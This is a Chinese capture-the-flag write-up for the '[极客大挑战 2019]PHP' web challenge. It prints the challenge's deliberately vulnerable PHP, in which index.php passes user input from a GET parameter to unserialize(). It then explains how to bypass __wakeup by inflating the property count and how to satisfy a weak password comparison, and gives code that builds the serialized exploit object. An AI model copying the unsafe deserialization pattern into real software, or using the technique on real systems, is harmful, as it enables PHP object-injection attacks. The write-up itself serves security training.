[极客大挑战 2019]PHP

最新推荐文章于 2025-06-28 18:16:56 发布

m0sway

最新推荐文章于 2025-06-28 18:16:56 发布

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分类专栏： Buu-Web 文章标签： CTF 网络安全 web安全 WriteUp web

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[极客大挑战 2019]PHP

进入靶场：
在这里插入图片描述

hint：良好的备份网站的习惯。
扫描目录，看是否有备份文件。

拿到备份文件www.zip，里面有flag.php、index.php、calss.php,代码如下：

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

<!DOCTYPE html>
<head>
  <meta charset="UTF-8">
  <title>I have a cat!</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
      <link rel="stylesheet" href="style.css">
</head>
<style>
    #login{   
        position: absolute;   
        top: 50%;   
        left:50%;   
        margin: -150px 0 0 -150px;   
        width: 300px;   
        height: 300px;   
    }   
    h4{   
        font-size: 2em;   
        margin: 0.67em 0;   
    }
</style>
<body>







<div id="world">
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳，所以我有一个良好的备份网站的习惯
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我！！！
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
    </div>
    <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script  src="index.js"></script>
</body>
</html>

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

flag.php没什么用
index.php里面有段代码：$select = $_GET['select'];$res=unserialize(@$select);需要我们传入一个参数select，很明显是考反序列化的知识。
再看class.php
if ($this->username === 'admin')：username必须要强等于admin
在__wakeup中$this->username = 'guest';，所以我们需要绕过__wakeup
- 当成员属性数目大于实际数目时可绕过wakeup方法
- if ($this->password != 100)：还需要满足password弱等于100的条件

根据上述这些条件我们可以构造如下序列化对象：

<?php
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin', 100);
echo serialize($a);
?>